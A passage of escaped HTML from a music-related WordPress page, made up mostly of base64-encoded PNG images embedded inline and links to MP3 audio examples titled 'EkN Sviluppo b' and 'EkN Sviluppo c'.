src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxkAAADeCAIAAADehFo5AAATTElEQVR4nO3d27bbNowAUP\/\/T3seuiZzxheZokAQpPZ+TGUBBAkaPU3SxxMAgF6P2QkAACzMLAUA0M8sBQDQzywFANDPLAUA0M8sBQDQzywFANDPLAUA0M8sBQDQzywFANDPLAUA0M8sBQDQzywFANDPLAUA0M8sBQDQzywFANDPLAV38Xg8Hg8tDxDMxQq38PhfsxMB2I2LFfb3+GN2LgC7cbHC\/sxSAOO4WGFzBimAodytsDmzFGxDI9dkS2BzZinYg0Yuy5bAbh4nffvsrPyBd3qzMlsCuzk7S\/13NbdMWsAsurKy\/i1p2VR7DxN1DFXvc9XsRQBasrrTu9K4oy8POAGQ7+Oc1PKAixtK0ZLFndiV9r08uLVPJwj0Oh6kDh5wcUMpWrK41l05O0iZpWC67lnqqWFhqsdJ3z47K\/+7+V3oU7vScmv3pAmcd2WWAiY6O0s9\/AmSqVp\/yNS4GWYpKKLlPnXbQnEdQ9X7XDV7Eftr\/VN4LZtx\/KRNhUynBimNCTV9nJNaHtDdmb6WuOOeNUvt571LL5q9oBv5WXlbA\/V1N7LuztQ0S7W+6\/B5m7qKM6NRjNkr3tPPItsFqO9KI2vtND\/mnsen387W8pGDB6JSJ9DveSfR7GJs4mdVlR3q08hL+D0YPT79zPDgIz9fGJI3UUYPNN\/e3ygqjRs6rqRSQ30tfaqLKzi9MT+v5s9hbHYx079Kv05P3yVnuLrjAqot1PezTzVyET1D7vs\/7fgIs9RsvB9jlPviPCWF1f3sU41cRM9fBPX+wM+9tNNFLLQLJoCLWgqoklDZzz7VyEUc\/S6Kr595e+D4I3a6gnW3wCjQ7bhQCgjFmaVWYZa6hW2Kb6IC7uP4inMH1nHut5B\/e6ZxlrqeLh22LL6JCtje8f3m6qvj9Cz1cefMUmXdoeyGKmBLB\/\/S6MYrpX+WavyUbZ7oVmV3vwCbMUutwiy1sxuW3RUD7OT4QnPRFfF1+vn89K+Zqf15GMpEBUCO4L\/ZvOUXIY2JCoDRTv\/N5kfv+vSRqEShm3EKgHGa\/rxe+zeQbyzKMlEBMIJvlLt4H47vOU\/cfPkAhPN1srmPI5SJ6ubL\/8YJgZ3o6DRquq2WKerOrXXz5f\/lqMBOdHQ+ddzQqUa6eUdZvqMC29DRsyjibvp66ebtdM8KdB+Ve5YLitPREynfVjRSnxsW4ezWOzNQmY6eS+32cWWQ0kXPO\/106spKHRuoRkdPp3DruTgzNZq9yjnusPaQBToqUISOrkDV1rPQLDXuzePUz\/CK2NWtsqewKx1dRKGS2b8rKkxOp5KJjRirfoZ9Rixq11pBfTq6jiolW+IrtrIig9SsuOGKp9dn0KLq7yZsSUfXUaJeC33FljV9kJobfYTi6XUYt6L9agX16eg65tdrre\/XsubOMX2DVPG9rp9hKWoFO9HRp8wv1nJfsTWtOEjV3+j6GdahVrATHX3K5GIt+hVb0H9Fyx9frgxSS2z0EkkWoVawEx3dbmalVv+WLeVvxTLraZbiH7WCnejodmapTUypWMFBakSgLU+jQsFOdPRc0yo167t2V1PK1bKJOfs7NNxOR1GhYCc6uohCs9T7P01IYGiITFPW0tLG4e19JYfuEFHZTpSzO3vUCurT0aXMKdPPbb5+AhpzGPf+ZPlrOdXJUY19PYHuWCE5T6FQsBMdXVDRWeoZN+t8e0\/U+4vIX0tmP0dF32nHGykU7ERH1zR\/lvr5WEisQS+vI38tj+a\/hSG8mbtvk512vIVCwU50dFmTf5NNy5Mh4Qa9vI78tfyLmNzGV26TnXb8J4WCnejoysxS67nYUX2Nlx80P+KiFAp2oqNXtMAsdXHXv71h7nm6crjHdNaPZPKD5kfM38oQClVK\/jKnFNYyk4OGG5Tn9dcuauYsFfjkz5e0\/\/pQ4474lLUkR3xW+il3crgR6SlUoPxlTimsZY4Lej2lnGwLFqeCmQei\/eHrEY9\/PWHvR5\/7\/OM7pWFOlfF6Va\/nEBV0aJJ3LtR1+cucUljLHBc0PLG7FaeCu89SCRvfdfhP55N\/dqd0S18xo1KdGDon1RsW6or8ZU4prGWOCzo6vagMixengmmzVPjDxy95f2fOrvcdwY588g\/ulFZJqGRg6NgERmc7MfTEQnXLX+aUwlrmuKCjM5wYOrk4Fdxllpqy691HsCOf\/IM7pVVGlzEq7ogchiY8K+70QvXJX+aUwlrmuKCjk5wVd0pxKth8lpq461eOYEc++Qd3Sqv8FzR5Q5O3Mirnxsxjgy5XqA75y5xSWMscF7Qvz8ZsY4MuUZwK6s5SF3dl+q4nn8L8g5sf8SVozj5+CzRuK6NyPs5\/UNDlCtUhf5lTCmuZ44L25Xmc86CgSxSngjmzVPuT3bsyd7\/zj2D+wZ3SKlOWmbyVUWnnR1yxUGflL3NKYS1zXNDuVDPDPZcqTgVz\/lRn+5PduzJ3v\/NPYf7ZndItU5aZvJVRaedHXLFQZ+Uvc0phLXNc0O5UM8M9lypOBbebpV4e6HjzlejjjmD+2Z3SLVOWmbyVUWnnR1yxUGflL3NKYS1zXNDuVPMjrlKcCirOUiEb8\/MNQ7c8\/wjmH98pDTNlmclbGZV2fsQVC3VW\/jIXimiZ4+QHXag4FZSbpaL25t+nvr1h6K7nn7\/8EzylZ6YsM3krQyjUIPnLXCKiZY6WH3qh4lSw7Sz18sL2Xw+RfwTzz\/GUzpmyzOStDKFQg+Qvc0rEs3FDgt5hmRezTY64SnEqqDVLjdikb28Yuv3tXRobMdOU5pm1zOWuEoUaZFZr50ecEnT7ZXbLzyF\/R5ZWaJYatFXf3jD0EPx9c87hm9Vp2wfN38oQCjXI3NaecplYZgU6urgfxQIA4Jtn8s+lnl9+GvQzy\/CIB78eovHNgQmMW0udiFOC5kQMP427Fmo6rb1N0KERdfTdmKWGaL9wo3K4Saftukw37yq09jZBzVLVIi5t\/iw1dJD6GPH918MPTfsLXbjFg5qlykacQmtvE9QsVS3i0ibPUseDVMIsFRjo5eXtT0Yt8\/pLikecEtQsVTbiFFp7m6BmqWoRlzZtlvo5RUVtZOP0FhLrb5RBDw99SfGIU4KapcpGnEJrbxPULFUt4tLm9EyjzHAhsf4GPZthZsQQLtzYKG7eJWjtbYKapapF\/Bt6ufuk7iyVGWvuLNXx\/Ig31I84JahZqmzEKbT2NkHNUtUivkRf60qZ89\/4Eiab9imqyCx1MYebdNquy3TzrkJrbxPULFUtYrUETknNNXOymTVF\/YvekW1mxOtcuLFR3LxL0NrbBDVLVYv4nsD0HNrlJZo83EwcpJ4u3I2CmqXKRpxCa28T1CxVLeLHHCqk0SIpy+RB6iDiywNR4d6jJ3wk8ONLRJwS1CxVNuIUWnuboGapahE\/KpLGT3nfE5mD1HvQbw8ERnx5ecdHruRzk07bdZlu3lVo7W2CmqWqRfxo6Dd1oOEpThmknn\/OgVlqEBdubBQ37xK09jZBzVLVIn6zxDg1\/DBNGaTe02j\/9aigHR9x4RYMapYqG3EKrb1NULNUtYjfJMwJ15WYpcbl8Fxklrpeipt02q7LdPOuQmtvE9QsVS3iN4vNUu2jDwAAj8fjOejnUqcyGO1boKEJnH3z9YLkFHNuxClB557SKy8MfFvNiFNo7W2CDo2oowPljw0d4tMqNUg9zVLDuHBjo7h5l6C1twlqlqoW8ZtZw8Mp8X96rnGKMku9ZHIxmZt02q7LdPNeDJ12z2rtbYKapapF\/OjbCFFN8GY3DlLPwaPMe1YJgV6CnnrYhVs26KKndNdCfYybedVq7W2CmqWqRfzoeJCoIyyh9inq7\/NR0X8mlhDoJWj7ky7cykEXPaW7Fuo9aNlZSmsXD2qWqhbxYw6NE8V0MdkcL\/jbsqvVIlDHhZsWMYoLNzaKm7cv6KlLNrPRtHbxoGapahHfE1hlkHqmzVLfPhUSvaDGpQWejJt02q7LdPN2B228cKIqrLW3CWqWqhbxPYFVBqlnyCzVN0g9B5y2OlrWFXsybtJpuy7TzdsdtOXOSW40rb1E0KERdfT16B1DxUQB\/87UveayRbnu57rCj8VNOm3XZbp5r8T9dueMuH+19jZBh0bU0RdD9w0VE42dpVo+fjGBmg7WNehY3KTTdl2mm\/d69OP7J2Gy0dprBTVLVYv4L+5yg9Tz4ix1fc2VS3PFt3WNOxY36bRdl+k8DBVYXq29TVCzVLWI\/+KapU4vuHJprvi4rqHHIv\/AuXBjo7h5xwnMbUprB76tZsQpQc1S1SL+Db3WIPW8MktdH6SeAw5cEe+LGn0sDrZjUFwXbmwUN+8go499QmvHvrBgxClBh0bU0dejj+6sWPGzVMdLunMo6++ics7E19HppL41pskPmhMx\/FTsWqgO4wqb1trh76wWcUrQoRF19PXoozsrVmd+IV\/G\/171\/sK+rOr4uKihqzvYkUDva0yWHzQnYvjB2LVQZw0qbEuDxEbMpLVDXq6jrycwurkC\/fh3LAAAvnn2\/Vzq4HVXPn6c6FryF9JR1UyBy4x6VamIsVV67luos8KzGn3CP0Yc9\/IiEacEHb1rOjpEQouFSJ2lrnwZ1y\/lX\/n5X6ztRGeXOaiAcyN2lOLnCwPfVjPiT+FVfU5q7aHvrxBxStChEXV0oIQuuy5slur71Fkd2U4x5cLd0vsyh5bxY2FzosQG2rVQp4RX9WmW2ijo0Ig6OlZCo12UNEtd\/07NubaiTE87sOBlpVUyJ0psoLT6TIx4bNAhyT+HN9nKzZapo2Nl3vl9ev7Y3dnbJOabM\/Hyuq5ywuHbUVNguaJedRwlNlBO2nMjHgsv6d\/Xhh+z44gJUeZGnBJ0aEQdHS6t4\/oMn6VavvPeX5LzNTnOcgn\/83O\/9nCqIOOq\/TdKbKCctOdGPBBez5c3dxykKxETosyNOCXo0Ig6OiSBl15La7oO02ap92faP1u2mv8slOopBzuyjfclpxU29oWBb6sZ8UB4PV\/ePO79HyPmBJoYcUrQoRF19PXo7bd0BQGz1KmHvz1\/8J5VSvnXQqlGOT76S0urXvgLk5eQEKXF0FUnV\/W5dWdNN3rXwl+YkPnfiAlRvoWeuHd9smep4ycbX1KzlH8tkWSmlt4oK60+4S\/MXF1OoVoM3bXMU\/ESkXCjdy38hZmLGlqf47jTt69D6iz188n2oNXq+GKJJIto75xZ0ooQ\/sLMtecU6qfRu5Z5Kl4iEm70roW\/MHPJQ+tzHHf69nVYY5Y6G3e6+hmuor2vxklbZvgLM8uSU6ifRm9Z2pF4icgIo3ct\/IWZ1Rhan6hl5mf4Td4s1fLmqLjT1c9wA2e7rlvaWsJfmCww\/26jM8lf6ZStvInRuxb+wm3qc3aZB89npnfALDVE8fTu4OIlknzSwgMFLr9UoRpXPTTEuJd\/i8ggo3ct\/IXb1OfUMvPT6NCTZfs6T5Xj1NuK17d4elS7UMIDnVpglMD8r6x6dIih7\/8YkUFG71r4C7epT\/sy83PoY5Yaonh6HJjSzOGBum7OqwLzv7Lk0VGGvv9jRAYZvWvhL9ymPu3LzM+hz\/8lmr9PAABLe\/b9XOp98Gp5svG1IUFhLROPdOyFAjx1dFz+U3LokDdLtRTl+LFFSww\/lT3S9W9eKKhsRyzR0RVyOKs\/0fbVthfl+LEV6wstVjzVdW5eqGbFjijV0UXSaHcpy\/Bx6uCZOnsM4Zxq2ImOvm6tr\/ukWerv8z+fCYkFC3GwYSc6OsRCX\/pXU+wYcY4f\/viPDFLszdmGnejoKKt89QfkFzvofHyPWYq9OduwEx0dq349Y5ILnHXeX2KQYnuON+xER99N2GZHTTwvbzBIcQdOOOxER99N8GZHjVMvb3Mo2ZtDDjvR0XcTv9nXB6DH\/xebHhTkqMNOdPTdjNrsK8OQQYq7cdphJzr6bob\/P9XbByM\/juK2nHnYiY6+m6TNfjT793xOYlCBmxd2oqPvZv7\/cOfsP4L9OPCwEx19N5\/\/9gEAAH56zv251IF\/+QEAVFZ0XjFLAQBLqDuvmKUAgPrqzit+NAUA1Fd3WDFLAQD1Ffq7Oj9+dlBiAAAhMv4fMn0TlVkKAKhvyLDS8pcxNL5nRHoAAFHih5WGv9eqdZwySwEAxVWfpYxTAEBlwZNK4yDVOCSZpQCA4sxSAAD9qs9SsekBAMQySwEA9Ks7SzXOWwAAE5mlAAD6Ff07EQxSAMASKs5SjfMWAMB0c2apljeEJwYAEC77\/8fX+MERWQEAhBs1tZydop4GKQBgQQMHFz+OAgC2N3x8afntU6YoAGBRSUOMEQoA2JJpBgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCgn1kKAKCfWQoAoJ9ZCgCg3\/8Aj5eUv3d\/ihgAAAAASUVORK5CYII=\" alt=\"\" width=\"236\" height=\"69\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Sviluppo-b.mp3\">EkN Sviluppo b<\/a><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" 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BCTI71qXuwCppocSap9U93RN2rMUcdM9bbpyinROJKON9UrteG2pdpF7QAnlCVmzaUqFzNVs+4LfnR9Sl44Pgb1EanLdjrH\/GwfdSuvapBUSyJJtWOqO\/pmjjn8mKn+2noJZfT5K3cAAMDD\/KdbqOgwzk935+P5oE9SO6IJdYhZZKnKxUzVrPuCH1ef5n1s3ymbn7zqitPiBZzBgJEOqWbpu23GrE\/MVN+e9\/o6tVsof6y2nX8XtWOZUIGY5ZWqXMxUzbov+HH1ad6+Np2yJbtx1RWnJQw4gwEjHVLN0nflx6xPzFRJT3txbflM06t84TO19om7o4Yn3+ixx6ytVOVipmrWfc2Pq8\/lZnU2lk2nbMlWXHvFOQkDzmDASIdUs\/S9N2PWJ2aqM496cW35TP17fGVTkNM0zFiqRjFn4DELK1W5mKmadV\/z4+pzuUFlvj4o0jirNuHai87JGXAGA0Y6pJql77KPWZ+Yqc485q31aOgWGt7gm5qCnNbBRlE+hGmjjllVqcrFTNWs+5ofV5\/3mc8yZ74+KNI4q3bg2ovOyRlwBgNGOqSape+yj1mfmKkynvHWekzoFkpe\/b9PcvmRrZUPYdqQY1ZVqnIxUzXrvuzn3ERnXcHZ10dH6mvh9lt73Z\/dNgNGOqSape+yj1mfmKn+KnnF3dGybuH7mPLP7l73wvwzxxuzpFKVi5mqWfdlP+cmyuxjSyL1tXDvbbjub26bASMdUs3S9w6NWZ+Yqd4yb63Bk1\/q0C1UHXx2fOY8Dyx6Qf7Jg41ZUqnKxUzVTLcQzdq9t+G6E9IGnMGAkQ6pZum75mPWJ2aqf86ahGe8u87uFvJHFp5k+6LX\/E2PIJGWkKpczFTNui\/+CfU5y5z5+uhIHa3ddRsuPSFwwBkMGOmQapa+az5mfWKmOspaha3fXad2C5dHll9034ofNT9IiRBpIanKxUzVrPv6n1Cfs8yZr4+O1MvyXbfh0hMCB5zBgJEOqWbpu+Zj1idmqkO3kPhAzchrj+x13eDOwi8cYMx6SlUuZqpm3W+BCfU5y5z5+uhIvSzfcmuvPmcXDTiDASMdUs3Sd83HrE\/YVFVW520xr1soOXOv6waXeaVYNcCY9ZSqXMxUzbrfAhPqU5t5oylbvuXWXn3OLhpwBgNGOqSape+aj1mfsKmquoKYo8jTLSzwHX756GLWU6pyMVM10y3EEWHL1S0UChjpkGoW3cIqVa3CplrGM65bqGoYqnOH8Td8kEUWs55SlYuZqtmO3UKtgJGSIuy3uoVCASMdUs2iW1glwlvcaLqFBf6FT\/YJq8YVs55SlYuZqpluIYgg+21VgGmZl5flW8BIh1Sz6BZWCfIiN9TFb3IDAAC\/6Wj72cJ3a1FyZOFpu1w0uMx8RIu0NmTMWZZqgu6LLWB9AkYKq7xWMzergDMYMNIh1Sx9l33M+sRMdTzoBfXMvG6hpHz5wx4zGcvfwgsj1RqRqvs575Nqgu4rKmB9AkYKq7xWM3fUgDMYMNIh1Sx9V37M+sRM9U+cN7oR2odUXpfy8uUPe8xMzHnVvh+pr7ZU3Ud6n1QTdL8pAtYnYKSwCms1eUcNOIMBIx1SzdJ35cesT8xUb5O3oJlujae8LlWHXV5r92no8iY9OtJMmVQzi1BIqgnyC6PthB3P1kXASGGV1KpkS+kr4AwGjHRINUvfxR+zPjFT\/TV5F5pmUrfw9\/jLY7pcK7LCd+WZGl\/zp1hdm08BIx1RUzXrPvUB6xMwUliXtVqyYwScwYCRDqlm6bv+Y9YnZqoPYd9e7rg7mIY9On9w8luR3x0bBHwbbn2TX2xVrZZcNy9mqmbd5zdgfQJGCitTq4V7QsAZDBjpkGqWvrdAzPrETPVt7VvKCB1G0nenTp5n+QtiXwGH0\/y+HtbQWo07ebOYqZp1n8SA9QkYKayzWk2766tSLRQw0iHVLH3vgpj1iZnqzJJ9aZA+w+i4X3+fZOHDYJD4I7rzmr6Fm8XpVeeOYqZqdn+avk\/Y8WxdBIwUVrJWfe\/rXqnWChjpkGqWvndBzPrETPULei6sXq9if8+w8EkwztYjuvueHl5JBSbUuVbMVM0K56LqhB3P1kXASGF916rhzp2QarmAkQ6pZul7I8SsT8xUv6Bz3bts3O+Pr30SjPPIQR0\/00i8Qk5czFTN\/ha81wk7nq2LgJHCep38FtLHvbkwVRABIx1SzdL3XohZn5ipfkH\/ut\/fwSM8BoZ66rjybr+rR7e8vGsD9NW9pAHrEzBSWP9qFe3WCziDASMdUs3S93aIWZ+YqX7BqLrf2cojPAaGevDQ2tx\/Uw9uTg0nXGWa7nVbMimXkVZH2MbamyuTauHVkwJGOqSape8dEepeewsS4weNrXvVUgu4Lgd59ui6u3gT31+vKnU5TxAdK\/P3hEumJhNp6PmfZMkElaRaG+BbwEiHVLP0vSna9kzb5lNNqnvtOnv2gnj26GZq3s52UVWKcXWer3b4hSdcPk0fkToO8Nk6lr1vqtURPgWMdEg1S9\/7IuCeeTxx1nax+Me4ZxMf5GEwyIOHFsfQnS6C7\/EuqfMgyTHeP+FCyUgdB\/hshSWdn2p1hE8BIx1SzdL3vpizMeYlU\/UaIFUu\/qEJAADgNx1rf7aQ8c4Hk629J+9YXbnQVk9O2uqqbCNm3eIkeQsY6ZBqT9O3w1KrC\/OjgtbdmiCgtVvkpdXlCW315KStrso2YtYtTpK3gJEOqfY0fTsstbowPypu3a0J9rJ6C3W\/5KyenLTVVdlGzKKFCvNPwEiHVHtasSMWWV2YHxW37pYFj2EPDWjOpOStrsE2YhYtVJh\/AkY6pHqKFXtkwuoy\/Ki4dbcs+BH20LB6TY0puylmxaLlOUJGOqT6MbbNRwr0f2dLfnZQMNiCPXQLHnujxaxYtDxHyEiHVHxp3jPN2iqj6n5\/pi0LyLCB7sUz746YFROpkFS0sW3GMaT0vVpDKwOAmC8Kl086glu9gmAb\/e+WjnepmxmAmM+Cga+xTLF6BcE2oncL7meAHxfzQTDqHZZZVq8g2Ebnu6Xvjep+BiDmg6D\/2ytzrV5BsA3dAgBUG\/D6ylSrVxBsI3q30DceAHQx5g2WeVavINiGbgEAqo15g2We1SsIthG3W3AzAxDWgNdX5lm9fGAnugUAACAt6L+gqlUAAIDlInYLhR0FAAAw1JpuoeQM3YMBAABVhryU3+wTtAoAABDBqPfy2j7h0CoAAEAwA1\/N\/UgBAAC2NvwFveSvMegTAAAgoEmv6ZoEAADYjvd1AAAgTbcAAACk6RYAAIA03QIAAJCmWwAAANJ0CwAAQJpuAQAASNMtAAAAaboFAAAgTbcAAACk6RYAAIA03QIAAJCmWwAAANJ0CwAAQJpuAQAASNMtAAAAaboFAAAgTbcAAACk6RYAAIA03QIAAJCmWwAAANJ0CwAAQJpuAQAASNMtAAAAaboFAAAgTbcAAACk6RYAAIA03QIAAJCmWwAAANJ0CwAAQJpuAQAASNMtAAAAaboFAAAgTbcAAACk6RYAAIA03QIAAJCmWwAAANJ0CwAAQJpuAQAASNMtAAAAaboFAAAgTbcAAACk6RYAAIC0\/wG4jOjazwFxMgAAAABJRU5ErkJggg==\" alt=\"\" width=\"307\" height=\"67\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-Sviluppo-c.mp3\">EkN Sviluppo c<\/a><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAh4AAADeCAIAAAD91p6AAAAOyklEQVR4nO3d0XrbuK4G0Lz\/S+tc9HwZbzuWSAokQXGtu2ltCQJI\/nGmaX8OAAj1M7sAAJ5GtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABBMtAAQTLQAEEy0ABDsIlp+ChS+PbRsAPIqDYbaaHn7LekCsI+vx31grpz8IgDPcxEtDb\/7LXVEC8AmKj52lLzg5NPM+QcdAB6j5aBv+Mhy\/lsAPElktJT8DxjRAvB41Qd9c3iIFoBNiBYAgtUd9CXJIVoANhcfLee\/K1oAHq\/ioD8PBtECwD+lB31hrvhuGACiBYBgRWf9ZSr4bhjQg3NjUaIFSMq5sa7rmZWM1nfDgFi+JF2aaAEyEi1LK8qM66t8XwEWB1BLrqxOtADpiJbVtfyjLOUvtjiABqJldY3\/ymTh660MoMRPpW\/vnVU\/b8Ki5fMtJg0Uqo2Wf2dLSfAwReM\/YPz1cqYL3NCQMZ8xM\/shaPpXJgE6ufwI8u0FoiUVMwASOc+VkxeIllTMAEikOVoO\/383E2NgC5\/fRSk3u\/a93IkW8jAYnuNOfjSY\/bgPVNJkI1iC2bCwUSFybXYnHuKyq9q+CrNhJaOS4q7ZfVrVZRv1eRVmQ3ZpT3kZE060PIbZkFGqCCmXvLz8RMtjJJqNhcJCKVJi0bInOu\/YuithQ1lmY63s7GGJ8ukZTzHA+dAfsx52kGI8VsyeHpwlf3rwo0Up+hJDD1cwfzxWzIZ2Pi\/2edIGsdGy5wJLYn6jjX8rxv1r52c\/cb48LpdNRTRpfk+Tm2vkmzDoP2lCoKpQsQ57m9lTw96B4V7SkPvu5Ipl2YNooRdjLac5bZoXmGOnt2mt9EXEgxllA12qFbXArNUeEkXL5+8OKKDrLfZkozbTriqx7bJuY83p4OUUBwzYAurBzrxJ6wp1WmbSJUrSaDnils55et2\/Pv\/YkyE0sMSALzoN4qb50XL5spB7dbo4\/9iNDDNmjVnPN01oXPkxJFryEyoMNmylWdV3iBZu0UYGG7neLO9mC0TLzdGKlk58WGEHVnibmdES+MrLi5T\/OiXkCvuwzhuMblnVt+aHRYulU0WosBWrvcHu0eKr7wY6xm4s+FrToiX8xecX+bymaGmjXWzImq+1S7RcunOLfWgUe7Lyaz08WgpzxbopoVHszOKvkjdabh795aHixCykS+zM+q8yJ1rKXzkgWuofYkcalZBlTFpDV2T5Nrh\/+suVWHo1XvmXRxYz2WwXLW8vaLjyhjSqh9rkEC0sJGO0hOyZyyvYjeU0qkF4clya\/cTwn3TRErVnft\/17Qp2Y7mcjUp1qvaIilqzewD\/eWy0vF2w\/NdJYq2DtT4I4s3tALzKFS099sy3K9iNcz3sYA1\/nAZzOwCvEkVLpz3z7Qp2Y1f9DtAei2TF5\/00twPw6vov1wKAcsfgTy3Hl88Kl1WG3\/Hk12nQb42We14Hagvo9GhVNWQogwxECwF6HKy1lutAeAGxF2yrIUMZZDA\/Wnpvv2\/Xef11++GmhoM1XLYOjC9g8B3\/rCFDGWQwOVoGnBffrpPqYFpdcx7c8VbArGdXwGsNGcogg2nRUnt23L\/j6392ute2bgREzPSnT1ABxwrRkr\/Cx5jQ5U6Hy83bhdxrW+Uz7dTw6RNUwLHCwZ2\/whNrFZ83Wkbea6GB5TS9n9MnqIBjhbMvf4XnFqp\/zjfEBhz05aGy0LTSmt5ABUwv4Fjh4Mtf4aVV6p\/z0\/ipouX+vZjeRgVML+BY4eDOX+GlVR5hXImDz3q5MtL0TipgegHHCqde\/gpLLPEUg+obnCsnd3x7QdTtNje9kwqYXsCxwp7KX2Gh\/E8xor7xufJ5028vCLzjzqZ3UgHTCzhW2FP5KyyU\/0G6FzclV46XnSZaBpjeSQVML+BYYU\/lr7Bc8mfpWFl5qHRtkGgZYHonFTC9gGOFPZW\/wnIDDs87UkRLvxoO0TLE9E4qYHoBxwp7Kn+F5ZaJlvIkAIBvjk6fWqoq6O3bjYYV0FuGB1GAAo6BS7H5bMmwWaKMP0urxBeUKlcO0TKqBgVsXsAxZCmWHy\/P3vVHgr9d6Vz8n8sqHLloiZLhQRSggKPzUqwKlW+nbYbNEqLkYefq+KMk58Me1ouETY+V4QEVoICj51Ksz5S\/T9sMmyVE4fNO1P2n37899rBGZOt4uAyranqHFTC9gKPbXqtMk7OjdvpOCVH1yLPE1NEw4yPHZniADEtq+igVML2Ao8\/BXZsl58fO2y\/mPJTP1R6zswyKlm\/vCrn75jIsrOmjVMD0Ao6loqX2sMpjlcoDqqmd7tsb7xewuQxra\/ocFTC9gKPDjr48W2pPnuY3NtQZ0YC6+nvcsdndau4MKWE7VpRheU2fowKmF3CsFi3nN4oqL6YRBbcLvFGIvtFS8vabBZBhhU2fowKmF3Aki5baCqv20f1Kag24RaxbNd1\/2pxNWUuGdTZ9jgqYXsARHS1Vx3fhFjj53cKLxNYT1Y371w\/XK1rKr3CnAI4cPzw1fY4KmF7AkSNamissuVRbSVE96XrxcO1lhfQxc2tWkWG1TR+iAqYXcHSIlqPyNL9T4eXVqiqpLaxQ14vHio+Whos018CR42uZ6UNUwPQCjj7RcpSd6fcrPL9gSQ33yyusv8eVwzVWFtjEn7++Nmmrak8DFnRJDcPupYCcBRzdouX14vdPm2\/vOr\/yyS4rUVvn5SOM3+O1\/qvsZu8A4Offp4WWOPp+uTtvPy+UEz\/fv3UwuIBZnl3AKtsktoweT\/TtmuedbDiyes8lz9C\/GRotCSf0DD+n3zoYX8B4Ty1grQ0SW0aPJ\/rzmpdtbDisBgwlydC\/CYuWtnflmdPSPjszuG\/TR\/O8AlbcILE19Hichp3SNogx48gw9G8GRcud8Qye1or+bMvIvk2fy8MKWHR3xNbQ43E+K7zsXuZBZBj6N41\/xKKqj22zmT62hZz0ZEzTpg\/lSQWsuzVia+jxOG8VlrTup8OP1wTKMPc\/dY+WkjF8XiTP5JZw0pMxfZs+lMcUcLlfMm+N2Bp6PM5rhYVN+3z93P5\/3jHD6D9Ni5bP15S\/N2Ef5yofwZQCBnhMAacH17WQGm4WH3i1qEu9XvPnfz+F1JYxt+2Zp\/8mIFqqXvzt9SfXyd\/E6S4b0rtv0ycyoIDzdRhSwPnBcel+ASH1B14t6lKv16ztWIbG\/rPEGvg1OlrOX1l4kWxNnK6kG12bNn0cXR+tZD+HFFByr\/My5ooto8cTNfQqQ2OPmrUxu9L\/NzRaLl9ZftM8HcygpBtd+zZ9HF2PoWFbuvaO2bZDbCX9Zjq9jAZrrYRjlWipve9uSrrRtW\/TxxFbQPk2jl2Qbfed3vxfscX0eK6Ga2Zo74rrYVy0lFw56r67KexGv75NH0fsidZmyq3v3zRQbElJni5DGbXTT1Fz9RtqFnfVHii\/VMJNNVdhN\/r1bfo4ogpoONxjF+T4OwaKrSrJA2YoY4npv2mpr\/wJqxpRdbX8nR2psBv9+jZ9HCEFVB3r\/bb6yHvFCu9D1KXuyFDGKgvglWh5gsJu9Ovb9HGEFFBypp+4X8BlMbG3CBdbZJLnzVDGcivhOPx7LQCEOto+tXzmUMkrCy8bctPdlLe3U9\/6jaN0Hd8uoHEPWY0vYluRpKt5ylhrvY2LlpJ2nL9sueYOU9iNfn3rcdnBh3vt7SzFT7HdSNLYJGUclWfpdO0llj9neTvOX7ZWZ0cqbEi\/1sVedsr53nZTS\/FVbEOS9DZJGf8stPBu1Vf+nFUvu7xX\/rYOVtiQfn2LPVCmHPHj7\/g8sW1J0uEkZfxaZfkNipbX11++JuReWynpSdfWRV254XwPXBWDb\/c8sZ1J0uQkZbxaYhFGfq1X9ZaT3w25y1ZK2tK1e+NP9k5n\/bAbPVJsf5K0OkkZb\/KvxuATIepqXW\/xPCVt6dq6wNE3u1\/AeSWB138q0TJY5pUZ\/7VeyKU6XfypLjtzv3vnp23U3JvdvDshRAu\/uvzf1\/vXCb\/ss\/WLlsJj\/f507uSKtZFE7CySjDVJGcsJ7lpUurxdzXTPlURLwzVHHu7tqWJtpBE7jiSTTVLGcvr+pNv9K5hridguTTnf225qeaQSO5Ekw01SxnI6\/pGh5s3v4KgVu5+nHPHj70i42LkkGXGSMpbTt2tVZ4GDo1lUuxrO98B5Db4d4WJHk2TKScpYzqCu1R4Zxlll\/Mne6awfdiN6iB1QklknKWM5M7t2shAdIlUeEy0nlQRen05EC7\/+\/mO+ANDmmPup5cRvfZsrnaIfK+FxkqyrJGUsJ2nXHFiDD3e5QjZJllaSMpaTt2vbTnTK+S5XyCbJ6kpSxnLydm3Pk2vWES9UyCbJGktSxnLydm3D86s5V0IaJVdIJckyS1LGchL9yOSf7+1UWEJ3ciWqUUKFPJIstiRlLGfEX\/TSdjbtdpBliJaTSgKvDyWSrLokZSynS9eizsF9hponVyCJJOvc\/mrT928+vnka7jNU0QJvkmwE+6tN9mjZZK4Nu6jrdoLp7myKwM1ii7Xp9U+BhYy5eTUsZ+RWgSU0b4o7\/ixj\/LM\/gGhJIWQPwJM0bIpOZndiSdmjJba8zKx1eFW1I7qa3YkliZZErHL41RICfczuxJLyRsu2Q7W44RAtixMtwBo6pEbAScWfkv7hYxMFaomWPDJGi4kCPYiWYeZES8kVwgsDOCdaooz+O8QK39ijKgDGGPc3H5e\/pVNJAIzR8Rz3YQVgT91P84L\/8yJUAB5l0JkuUQD24XAHIJhoASCYaAEgmGgBIJhoASCY